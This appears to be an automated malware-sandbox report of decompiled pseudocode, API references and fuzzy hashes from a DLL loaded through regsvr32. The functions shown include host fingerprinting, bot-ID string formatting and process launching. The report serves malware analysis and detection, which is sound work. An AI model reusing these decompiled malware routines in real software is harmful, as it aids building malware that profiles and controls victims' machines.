0x10003d90
0x10003d91
0x10003d92
0x10003d93
0x10003d94
0x10003d99
0x10003da5
0x10003dab
0x10003dac
0x10003db2
0x10003dc8
0x10003dcb
0x10003dd5
0x10003de0
0x10003df4
0x10003dfa
0x10003dfc
0x10003dfd
0x10003e05
0x10003e06
0x10003e0c
0x10003db4
0x10003db4
0x10003db4
0x10003e13
0x10003e18
0x10003e21
0x10003e26
0x10003e2c
0x10003e38
0x10003e3f
0x00000000

APIs

GetCurrentProcess.KERNEL32(1002B79C,00000000,00000000,00000002,?,?,?,?,?,?,100043BB,00000000), ref: 10003DC8
GetCurrentThread.KERNEL32 ref: 10003DCB
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,?,100043BB,00000000), ref: 10003DD2
DuplicateHandle.KERNEL32(00000000,?,?,?,?,?,?,100043BB,00000000), ref: 10003DD5

Part of subcall function 1000B036: GetSystemTimeAsFileTime.KERNEL32(10004011,?,?,?,10004011,00000000), ref: 1000B03F
Part of subcall function 1000B036: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000B05F

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Current$ProcessTime$DuplicateFileHandleSystemThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3712177519-0
Opcode ID: a3b3fb559be582a17c02b6735c3a45e4b175b64d27457727791456713e9e0161
Instruction ID: 2ba01215c2e30eaa59402dcd4073375a9f47937c2b0a8d6a0bc39b574ba24e26
Opcode Fuzzy Hash: a3b3fb559be582a17c02b6735c3a45e4b175b64d27457727791456713e9e0161
Instruction Fuzzy Hash: B131AF72508A24AFF711DFA4DCC9D5B7BACFB883A0B20496AF904D31B5DB30AC458B51

Uniqueness

Uniqueness Score: -1.00%

Function 10003BCF, Relevance: 6.1, APIs: 4, Instructions: 100
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E10003BCF(void* __ecx, void* __edx) {
				char _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				void* __esi;
				intOrPtr _t14;
				void* _t15;
				void* _t17;
				void* _t18;
				char _t22;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t37;
				void* _t42;
				void* _t46;
				intOrPtr _t49;
				void* _t50;
				char _t57;
				void* _t66;

				_t50 = __edx;
				_t42 = __ecx;
				while(1) {
					_t14 =  *0x1002b760; // 0x121f8b0
					_t15 =  *((intOrPtr*)(_t14 + 0x2c))( *0x1002b780, 0);
					if(_t15 == 0 || _t15 == 0x80) {
						break;
					}
					E1000B036(_t42, _t50,  &_v36);
					_t49 =  *0x1002b7b0; // 0x0
					_t34 =  *0x1002b7b4; // 0x0
					_t42 = _t49 + 0x3840;
					asm("adc eax, ebx");
					_t66 = _t34 - _v32;
					if(_t66 > 0 || _t66 >= 0 && _t42 >= _v36) {
						_t29 = 0;
					} else {
						_t35 =  *0x1002b760; // 0x121f8b0
						_push(0);
						_push( *0x1002b7a0);
						if( *((intOrPtr*)(_t35 + 0xc8))() == 0) {
							break;
						} else {
							_t37 =  *0x1002b760; // 0x121f8b0
							 *((intOrPtr*)(_t37 + 0xb4))(0x1388);
							continue;
						}
					}
					L16:
					return _t29;
				}
				E1000B036(_t42, _t50, 0x1002b7b0);
				_t17 = GetCurrentProcess();
				_t18 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t18, _t17, 0x1002b7a0, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t22 =  *0x1002b7ac; // 0x0
				_v28 = _t22;
				_t57 = E1000378E(_t50,  &_v28, E100034D0);
				__eflags = _t57;
				if(_t57 >= 0) {
					_push(0);
					_push( *0x1002b828);
					_t46 = 0x27;
					E10008B5C(_t46);
				}
				__eflags = _v24;
				if(_v24 != 0) {
					L10001533( &_v24);
				}
				_t25 =  *0x1002b760; // 0x121f8b0
				 *((intOrPtr*)(_t25 + 0x30))( *0x1002b7a0);
				 *0x1002b7a0 = 0;
				__eflags =  *0x1002b834; // 0x0
				if(__eflags != 0) {
					 *0x1002b838 = 1;
				}
				_t27 =  *0x1002b760; // 0x121f8b0
				 *((intOrPtr*)(_t27 + 0x90))( *0x1002b780);
				_t29 = _t57;
				goto L16;
			}

0x10003bcf
0x10003bcf
0x10003bdd
0x10003bdd
0x10003be9
0x10003bee
0x00000000
0x00000000
0x10003bfb
0x10003c00
0x10003c06
0x10003c0b
0x10003c11
0x10003c13
0x10003c17
0x10003c49
0x10003c21
0x10003c21
0x10003c26
0x10003c27
0x10003c35
0x00000000
0x10003c37
0x10003c37
0x10003c41
0x00000000
0x10003c41
0x10003c35
0x10003d01
0x10003d07
0x10003d07
0x10003c55
0x10003c69
0x10003c6c
0x10003c76
0x10003c82
0x10003c83
0x10003c84
0x10003c85
0x10003c86
0x10003c8b
0x10003c9e
0x10003ca2
0x10003ca4
0x10003ca6
0x10003ca7
0x10003caf
0x10003cb0
0x10003cb6
0x10003cb7
0x10003cbb
0x10003cc2
0x10003cc7
0x10003cce
0x10003cd3
0x10003cd6
0x10003cdc
0x10003ce2
0x10003ce4
0x10003ce4
0x10003cf4
0x10003cf9
0x10003cff
0x00000000

APIs

GetCurrentProcess.KERNEL32(1002B7A0,00000000,00000000,00000002,?,?,00000000,?,?,?,100020E3), ref: 10003C69
GetCurrentThread.KERNEL32 ref: 10003C6C
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,?,?,?,100020E3), ref: 10003C73
DuplicateHandle.KERNEL32(00000000,?,?,00000000,?,?,?,100020E3), ref: 10003C76

Part of subcall function 1000B036: GetSystemTimeAsFileTime.KERNEL32(10004011,?,?,?,10004011,00000000), ref: 1000B03F
Part of subcall function 1000B036: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000B05F

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Current$ProcessTime$DuplicateFileHandleSystemThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3712177519-0
Opcode ID: 08cf2e90ff9121c23b983bc26c8ea67b4d6ab52a3dde3718f26a214448f8b678
Instruction ID: d5e1c9eee7fecc65d225da1ca08b5dc4d42472d42350ee89a64fcab745aa34c9
Opcode Fuzzy Hash: 08cf2e90ff9121c23b983bc26c8ea67b4d6ab52a3dde3718f26a214448f8b678
Instruction Fuzzy Hash: 51316732508A28AFF751DFA4CCC8D5B7BACFB88390F214869F605D7165DB31A845CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1001EE80, Relevance: 6.0, APIs: 4, Instructions: 38
threadCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E1001EE80(signed int _a4) {
				signed int _t9;
				signed int _t10;
				signed int _t15;

				_t9 =  *0x1002b71c; // 0x0
				_t15 = _a4;
				if(_t9 == 0) {
					_t10 = InterlockedIncrement(0x1002b720);
					if(_t10 != 1) {
						goto L9;
					} else {
						if(_t15 == 0) {
							_t10 = E1001EDD8( &_a4);
							if(_t10 != 0) {
								_push(_t15);
								L1001EF26();
								_a4 = _t10;
								_t10 = GetCurrentProcessId();
								_a4 = _a4 ^ _t10;
							}
							if(_a4 == 0) {
								_a4 = 1;
							}
							_t15 = _a4;
						}
						 *0x1002b71c = _t15;
						return _t10;
					}
					do {
						goto L9;
					} while (_t9 == 0);
					goto L10;
					L9:
					SwitchToThread();
					_t9 =  *0x1002b71c; // 0x0
				}
				L10:
				return _t9;
			}

0x1001ee83
0x1001ee89
0x1001ee8e
0x1001ee95
0x1001ee9e
0x00000000
0x1001eea0
0x1001eea2
0x1001eea8
0x1001eeb0
0x1001eeb2
0x1001eeb3
0x1001eeb9
0x1001eebc
0x1001eec2
0x1001eec2
0x1001eec9
0x1001eecb
0x1001eecb
0x1001eed2
0x1001eed2
0x1001eed5
0x00000000
0x1001eed5
0x1001eedd
0x00000000
0x00000000
0x00000000
0x1001eedd
0x1001eedd
0x1001eee3
0x1001eee8
0x1001eeee
0x1001eeee

APIs

InterlockedIncrement.KERNEL32(1002B720), ref: 1001EE95
SwitchToThread.KERNEL32(?,1001D6C7,00000000,00000000,1001AC45,00000073,00000000,?,10019C70,00000000,?,0119F494,00000073,?,00000000,?), ref: 1001EEDD

Part of subcall function 1001EDD8: GetModuleHandleA.KERNEL32(advapi32.dll,00000073,?,0119FE58,00000000), ref: 1001EDE8

_time64.MSVCRT ref: 1001EEB3
GetCurrentProcessId.KERNEL32(?,1001D6C7,00000000,00000000,1001AC45,00000073,00000000,?,10019C70,00000000,?,0119F494,00000073,?,00000000,?), ref: 1001EEBC

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CurrentHandleIncrementInterlockedModuleProcessSwitchThread_time64
String ID:
API String ID: 2459202522-0
Opcode ID: 0e0e753b45846ab98fb7a1bc3bdcc7c6cd1ae0d811ebfd70cd663966a0dcf393
Instruction ID: d577f8892a473ad654005b5918ade73562c95633cda2fe19bc98c436ab7f7737
Opcode Fuzzy Hash: 0e0e753b45846ab98fb7a1bc3bdcc7c6cd1ae0d811ebfd70cd663966a0dcf393
Instruction Fuzzy Hash: F8F0C9355047AA9BEB10DFA5D888A8E3BE9FB047A0F218025FD089F251D730EDC19A90

Uniqueness

Uniqueness Score: -1.00%

Function 10001000, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 382
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E10001000(void* __edx) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v308;
				void* __edi;
				void* __esi;
				intOrPtr* _t126;
				intOrPtr _t128;
				intOrPtr _t131;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t138;
				intOrPtr _t139;
				intOrPtr _t141;
				intOrPtr _t144;
				intOrPtr _t146;
				intOrPtr _t149;
				intOrPtr _t151;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t160;
				intOrPtr _t162;
				char _t167;
				char _t169;
				char _t172;
				intOrPtr _t215;
				char _t217;
				char _t225;
				intOrPtr* _t252;
				void* _t260;
				void* _t261;
				void* _t262;
				intOrPtr _t264;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t311;
				intOrPtr _t315;
				void* _t317;
				intOrPtr* _t318;
				intOrPtr* _t319;

				_t126 = E10009568(0xcc);
				_t252 = _t126;
				if(_t252 != 0) {
					 *_t252 = E10008AB0(__edx, 0xb);
					_t128 =  *0x1002b740; // 0x11a04a0
					_push( *(_t128 + 0x98) & 0x0000ffff);
					_push( *(_t128 + 0x96) & 0x0000ffff);
					_push( *(_t128 + 0x94) & 0x0000ffff);
					_push( *((intOrPtr*)(_t128 + 0xc)));
					_push( *(_t128 + 0x9a) & 0x000000ff);
					_push( *((intOrPtr*)(_t128 + 8)));
					_t7 = _t252 + 4; // 0x4
					_push( *((intOrPtr*)(_t128 + 4)));
					_push("%u.%u.%u.%u.%u.%u.%04x");
					_t311 = 0x3f;
					E1000B0C3(_t311, _t7);
					 *((intOrPtr*)(_t252 + 0x44)) = E10009E41( *(_t128 + 0x9a) & 0x000000ff);
					_t131 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x48)) = E1000AEB7(_t131 + 0x199c);
					_t134 =  *0x1002b740; // 0x11a04a0
					_t318 = _t317 + 0x24;
					 *((intOrPtr*)(_t252 + 0x4c)) = E1000AEB7( *((intOrPtr*)(_t134 + 0x218)));
					_t136 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x50)) =  *((intOrPtr*)(_t136 + 0x220));
					_t138 =  *0x1002b740; // 0x11a04a0
					if( *((intOrPtr*)(_t138 + 0x21c)) != 0) {
						 *((intOrPtr*)(_t252 + 0x54)) = E1000AEB7( *((intOrPtr*)(_t138 + 0x21c)));
					}
					_t139 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x90)) =  *((intOrPtr*)(_t139 + 0x1850));
					_t141 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x58)) = E1000AEB7(_t141 + 0x114);
					_t144 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x5c)) =  *((intOrPtr*)(_t144 + 0x214));
					_t146 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x60)) = ( *(_t146 + 0x9c) & 0x0000ffff) + 1;
					_t149 =  *0x1002b740; // 0x11a04a0
					 *((intOrPtr*)(_t252 + 0x64)) =  *((intOrPtr*)(_t149 + 0x101c));
					_t151 =  *0x1002b740; // 0x11a04a0
					_pop(_t260);
					 *((intOrPtr*)(_t252 + 0x68)) =  *((intOrPtr*)(_t151 + 0x1898));
					 *((intOrPtr*)(_t252 + 0x6c)) = E1000A017(_t260);
					 *((intOrPtr*)(_t252 + 0x70)) = E1000A0CA(_t260);
					 *((intOrPtr*)(_t252 + 0x74)) = GetSystemMetrics(0);
					 *((intOrPtr*)(_t252 + 0x78)) = GetSystemMetrics(1);
					_t315 = E10009568(8);
					_pop(_t261);
					if(_t315 != 0) {
						_t158 = E10009568(0x2000);
						_pop(_t261);
						 *((intOrPtr*)(_t315 + 4)) = _t158;
						if(_t158 == 0) {
							goto L4;
						}
						E1000A3C7(E1000164E, _t315);
						_pop(_t261);
						_t159 = _t315;
						goto L7;
					} else {
						L4:
						_t159 = 0;
						L7:
						 *((intOrPtr*)(_t252 + 0x7c)) = _t159;
						_t160 =  *0x1002b740; // 0x11a04a0
						 *((intOrPtr*)(_t252 + 0x88)) = _t160 + 0x228;
						_t162 =  *0x1002b740; // 0x11a04a0
						 *((intOrPtr*)(_t252 + 0x8c)) = _t162 + 0x1644;
						_v44 = E10004FBA(_t261, 0x187);
						 *_t318 = 0x248;
						_v52 = E10004FBA(_t261);
						 *_t318 = 0x3c6;
						_v48 = E10004FBA(_t261);
						 *_t318 = 0x2f8;
						_t167 = E10004FBA(_t261);
						_pop(_t262);
						_v20 = _t167;
						_v28 = E10004FBA(_t262, 0xdc);
						 *_t318 = 0x2b4;
						_t169 = E10004FBA(_t262);
						_t264 =  *0x1002b740; // 0x11a04a0
						_v40 = _t169;
						E1000AF04( &_v308, 0x80, _t169,  *((intOrPtr*)(_t264 + 0x218)));
						_t172 = E10004FBA(_t264, 0xea);
						_t319 = _t318 + 0x14;
						_v12 = _t172;
						_v8 = E10004FBA(_t264, 0x2a0);
						 *_t319 = 0x44b;
						_v16 = E10004FBA(_t264);
						 *_t319 = 0x353;
						_v24 = E10004FBA(_t264);
						 *_t319 = 0x1a4;
						_v36 = E10004FBA(_t264);
						 *_t319 = 0x287;
						_v32 = E10004FBA(_t264);
						 *((intOrPtr*)(_t252 + 0x9c)) = E1000A556(_v44);
						 *((intOrPtr*)(_t252 + 0xa0)) = E1000A556(_v52);
						 *((intOrPtr*)(_t252 + 0xa4)) = E1000A556(_v48);
						 *((intOrPtr*)(_t252 + 0xa8)) = E1000A556(_v20);
						 *((intOrPtr*)(_t252 + 0xac)) = E1000A556(_v28);
						 *((intOrPtr*)(_t252 + 0xb0)) = E1000A556( &_v308);
						 *((intOrPtr*)(_t252 + 0xb4)) = E1000A556(_v12);
						 *((intOrPtr*)(_t252 + 0xb8)) = E1000A556(_v8);
						 *((intOrPtr*)(_t252 + 0xbc)) = E1000A556(_v16);
						 *((intOrPtr*)(_t252 + 0xc0)) = E1000A556(_v24);
						 *((intOrPtr*)(_t252 + 0xc4)) = E1000A556(_v36);
						 *((intOrPtr*)(_t252 + 0xc8)) = E1000A556(_v32);
						E1000A741( &_v44);
						E1000A741( &_v52);
						E1000A741( &_v48);
						E1000A741( &_v20);
						E1000A741( &_v28);
						E1000A741( &_v40);
						E1000A741( &_v12);
						E1000A741( &_v8);
						E1000A741( &_v16);
						E1000A741( &_v24);
						E1000A741( &_v36);
						E1000A741( &_v32);
						 *((intOrPtr*)(_t252 + 0x94)) = 6;
						_t215 = E10009568(0x18);
						_pop(_t290);
						 *((intOrPtr*)(_t252 + 0x98)) = _t215;
						if(_t215 != 0) {
							_t217 = E10008A90(_t290, 0xab1);
							_pop(_t291);
							_t312 = _t217;
							_v40 = _t217;
							_v32 = E10008A90(_t291, 0xde);
							 *_t319 = 0x4a5;
							_v36 = E10008A90(_t291);
							 *_t319 = 0x7e3;
							_v24 = E10008A90(_t291);
							 *_t319 = 0x88e;
							_v16 = E10008A90(_t291);
							 *_t319 = 0x96f;
							_v8 = E10008A90(_t291);
							 *_t319 = 0x9b5;
							_v12 = E10008A90(_t291);
							 *_t319 = 0x73c;
							_v28 = E10008A90(_t291);
							 *_t319 = 0xdd1;
							_t225 = E10008A90(_t291);
							_pop(_t292);
							_t316 = "*";
							_v20 = _t225;
							 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x98)))) = E1000985A(_t292, _t217, _v32, "*");
							 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x98)) + 4)) = E1000985A( *((intOrPtr*)(_t252 + 0x98)), _t217, _v36, "*");
							 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x98)) + 8)) = E1000985A( *((intOrPtr*)(_t252 + 0x98)), _t312, _v24, "*");
							 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x98)) + 0xc)) = E1000985A( *((intOrPtr*)(_t252 + 0x98)), _t312, _v16, _t316);
							 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x98)) + 0x10)) = E1000985A( *((intOrPtr*)(_t252 + 0x98)), _t312, _v8, _v28);
							 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x98)) + 0x14)) = E1000985A( *((intOrPtr*)(_t252 + 0x98)), _t312, _v12, _v20);
							E1000A741( &_v40);
							E1000A741( &_v32);
							E1000A741( &_v36);
							E1000A741( &_v24);
							E1000A741( &_v16);
							E1000A741( &_v8);
							E1000A741( &_v12);
							E1000A741( &_v28);
							E1000A741( &_v20);
						}
						return _t252;
					}
				}
				return _t126;
			}

0x10001011
0x10001016
0x1000101b
0x10001029
0x1000102b
0x10001037
0x1000103f
0x10001047
0x10001048
0x10001052
0x10001053
0x10001056
0x10001059
0x1000105c
0x10001063
0x10001064
0x1000106e
0x10001071
0x10001081
0x10001084
0x10001089
0x10001097
0x1000109a
0x100010a5
0x100010a8
0x100010b5
0x100010c3
0x100010c3
0x100010c6
0x100010d1
0x100010d7
0x100010e7
0x100010ea
0x100010f5
0x100010f8
0x10001105
0x10001108
0x10001113
0x10001116
0x10001121
0x10001122
0x1000112a
0x1000113a
0x10001141
0x10001148
0x10001150
0x10001152
0x10001155
0x10001160
0x10001165
0x10001166
0x1000116b
0x00000000
0x00000000
0x10001173
0x10001179
0x1000117a
0x00000000
0x10001157
0x10001157
0x10001157
0x1000117c
0x1000117c
0x1000117f
0x10001189
0x1000118f
0x1000119e
0x100011a9
0x100011ac
0x100011b8
0x100011bb
0x100011c7
0x100011ca
0x100011d1
0x100011d6
0x100011dc
0x100011e4
0x100011e7
0x100011ee
0x100011f4
0x10001200
0x10001210
0x1000121a
0x1000121f
0x10001227
0x1000122f
0x10001232
0x1000123e
0x10001241
0x1000124d
0x10001250
0x1000125c
0x1000125f
0x1000126f
0x1000127b
0x1000128a
0x10001299
0x100012a8
0x100012b3
0x100012ca
0x100012d9
0x100012e8
0x100012f7
0x10001306
0x10001315
0x10001320
0x1000132b
0x10001335
0x1000133f
0x10001349
0x10001353
0x1000135d
0x10001367
0x10001371
0x1000137b
0x10001385
0x1000138f
0x10001399
0x100013a1
0x100013ab
0x100013b0
0x100013b1
0x100013b9
0x100013c4
0x100013c9
0x100013ca
0x100013d1
0x100013d9
0x100013dc
0x100013e8
0x100013eb
0x100013f7
0x100013fa
0x10001406
0x10001409
0x10001415
0x10001418
0x10001424
0x10001427
0x10001433
0x10001436
0x1000143d
0x10001442
0x10001443
0x1000144c
0x10001462
0x10001477
0x1000148d
0x100014a2
0x100014ba
0x100014cc
0x100014d6
0x100014e0
0x100014ea
0x100014f4
0x100014fe
0x10001508
0x10001512
0x1000151c
0x10001526
0x1000152b
0x00000000
0x1000152c
0x10001155
0x10001532

APIs

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

Part of subcall function 1000B0C3: _vsnprintf.MSVCRT ref: 1000B0D8

GetSystemMetrics.USER32 ref: 1000113D
GetSystemMetrics.USER32 ref: 10001144

Part of subcall function 1000985A: SysAllocString.OLEAUT32(?), ref: 100098FD
Part of subcall function 1000985A: SysAllocString.OLEAUT32(00000000), ref: 10009911
Part of subcall function 1000985A: SysFreeString.OLEAUT32(?), ref: 10009C94
Part of subcall function 1000985A: SysFreeString.OLEAUT32(?), ref: 10009C99

Part of subcall function 1000985A: SafeArrayDestroy.OLEAUT32(?), ref: 10009C41

Part of subcall function 1000985A: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 100099AA
Part of subcall function 1000985A: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 100099B9
Part of subcall function 1000985A: SafeArrayDestroy.OLEAUT32(?), ref: 10009C05

Part of subcall function 1000985A: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 10009A25
Part of subcall function 1000985A: VariantClear.OLEAUT32(?), ref: 10009BE4
Part of subcall function 1000985A: SysFreeString.OLEAUT32(?), ref: 10009BED

Strings

%u.%u.%u.%u.%u.%u.%04x, xrefs: 1000105C

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: ArraySafeString$Free$AllocBoundDestroyMetricsSystem$AllocateClearElementHeapVariant_vsnprintf
String ID: %u.%u.%u.%u.%u.%u.%04x
API String ID: 2423138013-512370406
Opcode ID: 7202118a13af1fd10721b441cc416a8fa97c440894c737bcbc775852bafc3aca
Instruction ID: 02a58f6cbc4b3336377cfb607ac2870e55793e92673c85e651b7cc40933ceeda
Opcode Fuzzy Hash: 7202118a13af1fd10721b441cc416a8fa97c440894c737bcbc775852bafc3aca
Instruction Fuzzy Hash: 6EE181B9C042059FEB04EFB4D886AED7BF4FF09350F14456AF9489B246DB34A581CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1000A2BE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E1000A2BE(intOrPtr _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v20;
				void* _v24;
				short _v52;
				intOrPtr _v56;
				void _v100;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t34;
				intOrPtr _t37;

				_v8 = 0;
				memset( &_v100, 0, 0x44);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v100 = 0x44;
				if(_a16 != 0) {
					_v56 = 1;
					_v52 = 0;
					_v8 = 0x8000000;
				}
				_push( &_v24);
				_push( &_v100);
				_t29 =  *0x1002b760; // 0x121f8b0
				_push(0);
				_push(0);
				_push(_v8);
				_push(0);
				_push(0);
				_push(0);
				_push(_a4);
				_push(0);
				if( *((intOrPtr*)(_t29 + 0x38))() == 0) {
					return 0;
				} else {
					if(_a8 != 0) {
						_push(_a12);
						_t37 =  *0x1002b760; // 0x121f8b0
						_push(_v24);
						if( *((intOrPtr*)(_t37 + 0x2c))() >= 0) {
							GetExitCodeProcess(_v24, _a8);
						}
					}
					_t32 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t32 + 0x30))(_v20);
					_t34 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t34 + 0x30))(_v24);
					return 1;
				}
			}

0x1000a2cf
0x1000a2d2
0x1000a2dc
0x1000a2dd
0x1000a2de
0x1000a2df
0x1000a2e6
0x1000a2f0
0x1000a2f4
0x1000a2f7
0x1000a2fb
0x1000a2fb
0x1000a305
0x1000a309
0x1000a30a
0x1000a30f
0x1000a310
0x1000a311
0x1000a314
0x1000a315
0x1000a316
0x1000a317
0x1000a31a
0x1000a320
0x00000000
0x1000a322
0x1000a325
0x1000a327
0x1000a32a
0x1000a32f
0x1000a337
0x1000a33f
0x1000a33f
0x1000a337
0x1000a348
0x1000a34d
0x1000a353
0x1000a358
0x00000000
0x1000a35b

APIs

memset.MSVCRT ref: 1000A2D2
GetExitCodeProcess.KERNEL32 ref: 1000A33F

Strings

D, xrefs: 1000A2E6

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CodeExitProcessmemset
String ID: D
API String ID: 984229152-2746444292
Opcode ID: b7b459dd2328b51a5f5dd82031d3f4be43c35bb3136c3b35de2ae4d064b90b8d
Instruction ID: ad4726032d3e56a5cf18730c6c26511cfa6934834142222ce6a42ce6f20b22f4
Opcode Fuzzy Hash: b7b459dd2328b51a5f5dd82031d3f4be43c35bb3136c3b35de2ae4d064b90b8d
Instruction Fuzzy Hash: 9D21087590152CBFEB51CFAACD48DDFBBB9FF49290B100125F608E6120D7309A54DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 100050E3, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E100050E3() {
				intOrPtr _v8;
				intOrPtr _v12;
				CHAR* _v16;
				signed int _v20;
				void* __edi;
				void* __esi;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t30;
				signed int _t33;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t38;
				CHAR* _t41;
				void* _t43;

				_t38 =  *0x1002b83c; // 0x0
				_t39 = _t38 * 0x64;
				_t33 = 0;
				_v20 = _t38 * 0x64;
				_t41 = E10009568(_t39);
				_v16 = _t41;
				if(_t41 != 0) {
					_v12 = 0;
					__eflags =  *0x1002b83c; // 0x0
					if(__eflags <= 0) {
						L9:
						E10008B38(_t41,  *0x1002b800, 0xe);
						E100094F4( &_v16, _t33);
						__eflags = 0;
						return 0;
					}
					_v8 = 0;
					do {
						_t27 =  *0x1002b7b8; // 0x0
						_t36 = _v8;
						__eflags =  *(_t36 + _t27);
						if( *(_t36 + _t27) != 0) {
							__eflags = _t33;
							if(_t33 != 0) {
								lstrcatA(_t41, 0x10028314);
								_t33 = _t33 + 1;
								__eflags = _t33;
							}
							_t29 = _v8;
							_t37 =  *0x1002b7b8; // 0x0
							_push( *((intOrPtr*)(_t29 + _t37 + 0x10)));
							_push( *((intOrPtr*)(_t29 + _t37 + 8)));
							_t30 = E1000B0C3(_t39 - _t33,  &(_t41[_t33]), "%u;%u;%u",  *((intOrPtr*)(_t29 + _t37)));
							_t39 = _v20;
							_t41 = _v16;
							_t43 = _t43 + 0x10;
							_t33 = _t33 + _t30;
							__eflags = _t33;
						}
						_v12 = _v12 + 1;
						_t28 = _v12;
						_v8 = _v8 + 0x20;
						__eflags = _t28 -  *0x1002b83c; // 0x0
					} while (__eflags < 0);
					goto L9;
				}
				return 0xffffffff;
			}

0x100050ec
0x100050f2
0x100050f6
0x100050f8
0x10005100
0x10005105
0x1000510a
0x10005114
0x10005117
0x1000511d
0x10005180
0x1000518a
0x10005194
0x1000519c
0x00000000
0x1000519c
0x1000511f
0x10005122
0x10005122
0x10005127
0x1000512a
0x1000512e
0x10005130
0x10005132
0x1000513a
0x10005140
0x10005140
0x10005140
0x10005141
0x10005144
0x1000514a
0x10005150
0x1000515e
0x10005163
0x10005166
0x10005169
0x1000516c
0x1000516c
0x1000516c
0x1000516e
0x10005171
0x10005174
0x10005178
0x10005178
0x00000000
0x10005122
0x00000000

APIs

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

